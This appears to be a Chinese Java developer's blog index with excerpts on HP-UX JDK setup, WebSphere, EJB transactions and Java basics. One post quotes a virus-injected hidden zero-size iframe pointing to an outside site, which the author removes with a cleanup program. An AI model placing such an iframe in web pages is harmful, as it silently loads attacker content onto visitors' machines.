hp unix jdk1.4安装 tomcat安装
原先机器上已经装了websphere了,本想直接用ibm的jdk来启动tomcat,但是没成功,报什么ibm的一个类找不到。
于是上hp网站下了sdk14_14216_pa.depot,放在tmp目录下,运行swinstall -s /var/tmp/sdk14_14216_pa.depot
也老报错,根据log提示,把一个选项去掉,就安装成功了。
然后再
export JAVA_HOME=/var/tmp/sdk14_14216_pa/opt/java1.4
export export CLASSPATH=.:$JAVA_HOME/ ...
编译器对图片支持非常不友好。。。
直接上传上来
firefox遇到的。。。
prototype.js中的Form.serialize(param)
参数对应form标签中的id值
如果用struts标签就起不了作用,因为struts的form标签不支持id属性,就算写进去,也不编译成对应的html。
getElementById(param)
param对应标签中的id值
...
查询页面做的有点多了,用的是struts,配置文件长长的,页面也一堆堆的,所以想了想,反正所做的页面都差不多,何不可做成通用的...
借助ajax功能,在服务端生成html代码直接抛到页面。。。
想来想去,是一个个标签做成一个类,这样类太多了,有点烦,
于是提取其共性,如下图,包括元素类与属性类。然后用这两类create页面上相同的组件。这样再做个可配置页面,应该可行。
为实现应用分离,分为二部分实现,见下图
第一部分实现设想:
一、滑动窗口实现:
设全局变量waitMap(Map)、todoMap;
设:n=waitMap.size();
1、发送短信,先判断如果小于窗口大小,则直接发送、写入waitMap;如果大于窗口大小,则写入todoList,并且唤醒下面线程;
2、线程1:后台启一个线程,判断n如果大于窗口大小或n==0,则进行等待状态;如果小于则从todoMap中获取一条消息进行消息发送、并从todoMap中去掉此消息,加入到waitMap
消息中;
3、收到一个返回时,从waitMap中去掉此消息,并且唤醒上面线程。
其实就是生产者 ...
问题:oracle数据库,websphere平台,使用XA数据库源,调用存储过程,存储过程中使用了dblink,
就废了:use of non-migratable database link not allowed
上网找了下,没找到解决方法,不知道有谁知道这玩意能解决吗?
项目中要整个EJB,供别的系统调用
本来不是采用容器管理事务,采用bean管理事务,想提交就提交,想回滚就回滚,
但是这样会给调用方带来这样一个问题:如果调用方调用ejb并且处理成功,但是在调用方接下来处理中出现异常时就没有办法回滚 这个ejb的事务。
接下来就想采用容器管理,采用xa数据源,这样的话上面的问题就可以解决,但是另一个问题又出来,就是在这个提供的ejb中,我们想保存调用的日志记录:传送了哪些数据,处理出错报的异常是什么,成功日志。
这样的话,因为采用容器管理,一提交或回滚就会出错,所以就只能把事务交给调用方来提交或回滚,这样的话,我们如果处理出错了,调用方就会把事务回滚,一 ...
资源底下->Scheduler 新建一个后,点击"创建表"、"验证表"。例JNDI名为:tfjtaskcall
配置一个无状态session bean。例JNDI名:TfjSchedule
调用代码:
InitialContext context;
try {
out.println("test servlet initializing....");
//begin to test schedule
//1. init context
context = new InitialContext();
//2. lOOkup schedule using its jndi ...
import org.apache.commons.net.telnet.*;
import java.io.*;
//针对HP-UNIX的telnet java程序
public class TelnetSample {
private String tranencoding = "iso-8859-1";
private String aixencodeing = "gb2312";
private TelnetClient telnet = new TelnetClient();
private InputStream in;
...
一、出现java.lang.NoSuchMethodError: java.math.BigDecimal.<init>(I)V
原因:JDK版本问题,如果是你的JAVA文件使用了java.math.BigDecimal类,并且将用JDK1.5编译后产生的class文件放进部署的环境(jdk1.4),那么会出现上面异常
二、待续...
用Jbuilder工具自动生成EJB(local/remote),部署到websphere6下,
用远程调用可以,本地调用怎么试都不行。
也参考了一堆文章,都不管用。
http://blog.csdn.net/lcllcl987/archive/2006/10/30/1357368.aspx
不管用...
1.先是用jbuilder2006与websphere6,不过一启动就报错,也不知是什么原因,
[07-6-20 22:03:27:343 CST] 0000000a WsServerImpl E WSVR0008E: 读 META-INF/ws-server-components.xml 时出错
com.ibm.ws.exception.ConfigurationError: couldnt register ComponentManager
...
找不到解决办法,不知谁能帮忙解决???
2.后面只好采用websphere5.1,用jbuilder2005跟2006是一样的,启 ...
本来只是在C:\Program Files\IBM\WebSphere\AppServer\profiles\AppSrv02\installedApps\wt-a0503e227d3bNode02Cell\WebModule1_war.ear\WebModule1.war\WEB-INF这个目录底下更新class与web.xml
但是经过测试都不成功,
然后baidu一下,需要在WebSphere\AppServer\profiles\AppSrv02\config\cells\wt-a0503e227d3bNode02Cell\applications\WebModule1_war.ea ...
本以为用一个过滤器就可以了,但是不行,
后面去改websphere中JDK配置参数,加-Dfile.encoding=GBK,但是还是不行
再后面在JDK参数后面再加 -Ddefault.client.encoding=GBK,重启服务,后form传递就正常了。
websphere为啥就是与众不同...
当想知道一个方法里有哪些类型的参数时,用IDE工具里的快捷键无疑是最有效
JB里用Ctrl+Shift+h
Eclipse里用ALT+/
NetBean里用CTRL+\
重拾一些最最基础的东西
编写java代码,由java编译器(javac)编译生成字节码文件,然后由java解释器(java)执行。
note:字节码文件是与平台无关的二进制码,执行时由解释器解释生成本地机器码,解释一名,执行一句。
int型内存分配4个字节(byte),一个字节由8位(bit)组成,占32位。
byte内存分配1个字节,点8位。
short-->2-->16
long-->8-->64
char-->2-->16
float-->4-->32
double-->8-->64
按精度从“低”到“高”排列顺序:
byte short int long float ...
静态方法就是不用生成类的实例可以直接调用的,显性的区别就在于此。原则上与类内部的变量没关系的方法,可以声明为静态方法。而对类的内部属性进行操作的方法就必须是实例化的方法。从编译器的角度来说,静态变量,静态方法都放在堆当中,所有的实例共享同一份,不随着新实例的生成而生成,节省new一个新对象时的内存空间。
。。。
住的地方机子中毒了,装了诺顿,杀了一百多个病毒,
发现有些像.html与.jsp文件里面最后一行都自动添加了<IFRAME SRC=\"HTTP://www.m5k8.com/gr.htm\" WIDTH=0 HEIGHT=0></IFRAME>
这号文件实在是多,没办法,只好写个程序,杀...
import java.io.*;
import java.util.*;
public class KillVirus {
public static void main(String[] args) throws FileNotFoundException,
...
Map(inteface) 维护"键对值"的关联性
HashMap Map基于散列表的实现
LinkedHashMap 迭代访问时最佳方案
TreeMap 唯一带有subMap()方法的Map,可返回一个子树
WeekHashMap 允许释放映射所指向的对象
IndetityHashMap 使用==代替equals对键进行比较...
Java所有的容器都只能保存对Object的引用.
Object的HashCode()散列码是使用对象的地址计算散列码.
但是HashMap使用equals()判断以前的键是否与表中存在的键相同.
默认的Object.equals()只比较对象的 ...
两个接口都是继承自Collection.
List(inteface)
次序是List的最重要特点,它确保维护元素特定的顺序.
--ArrayList 允许对元素快速随机访问.
--LinkedList 对顺序访问进行优化,向List中间插入与移除的开销并不大,具有addFrist(),addLast(),getFirst,getLast,removeFirst和removeLast().这些方法使得LinkedList可当作堆栈/队列/双向队列.
Set(inteface)
存入Set的每个元素必须唯一,不保证维护元素的次序.加入Set的Object必须定义equals()方法
- ...
系统根据需要有时候一些动作
可能要延迟几秒后执行,所以要用到线程,延迟几秒后再执行,但是发现这些线程有时候会死掉,当然很少这种情况,但是出现一个就完了,所以在j2ee中是不是不该使用线程呢?
OutputStreamWriter out = ...
java.sql.Connection conn = ...
try { // ⑸
Statement stat = conn.createStatement();
ResultSet rs = stat.executeQuery(
"select uid, name from user");
while (rs.next())
{
out.println("ID:" + rs.getString("uid") // ⑹
",姓名:" + rs.getString ...
引用1. 检查型异常,这样的异常继承于Excetpion,就是在编译期间需要检查,如果该异常被throw,那么在该异常所在的method后必须显示的throws,调用该method的地方也必须捕获该异常,否则编译器会抛出异常.
2. 运行时异常,就是在运行期间系统出现的异常,该类异常继承于RuntimeException,该类异常在编译时系统不进行检查,如NullPointerExcetpion,NumberFormatException.
3. 系统错误,一般是JVM出现异常时抛出的异常,如OutofMemoryError,这样的异常在J2EE开发中是不用关心的.
检查型异常包括用户自定义的 ...
引用什么是ThreadLocal?
顾名思义它是local variable(线程局部变量)。它的功用非常简单,就是为每一个使用该变量的线程都提供一个变量值的副本,是每一个线程都可以独立地改变自己的副本,而不会和其它线程的副本冲突。从线程的角度看,就好像每一个线程都完全拥有该变量。
ThreadLocal与其它同步机制的比较
ThreadLocal和其它同步机制相比有什么优势呢?ThreadLocal和其它所有的同步机制都是为了解决多线程中的对同一变量的访问冲突,在普通的同步机制中,是通过对象加锁来实现多个线程对同一变量的安全访问的。这时该变量是多个线程共享的,使用这种同步机制需要 ...
- 浏览: 32427 次
- 性别:

- 来自: 北京

- 详细资料
搜索本博客
最近加入圈子
最新评论
-
PreparedStatement防注入
上面说的是只是针对用jdbc运行sql时怕出错的一种解决方式, 针对楼上说的, ...
-- by qiuyuanshan -
PreparedStatement防注入
确定不需要再进行特殊字符处理? 如果用户输入类似<td></td>这 ...
-- by hilliate -
WEB移植时可能出现的问题
不好意思,就碰到一种情况,还没碰到第二种情况。。。
-- by qiuyuanshan -
WEB移植时可能出现的问题
二是什么,我现在也碰到这个问题啊,我已经用1.4的编译了,还是不行啊
-- by sunqi -
websphere下部署servlet ...
是为了热布署时不停机。。。。
-- by 抛出异常的爱






评论排行榜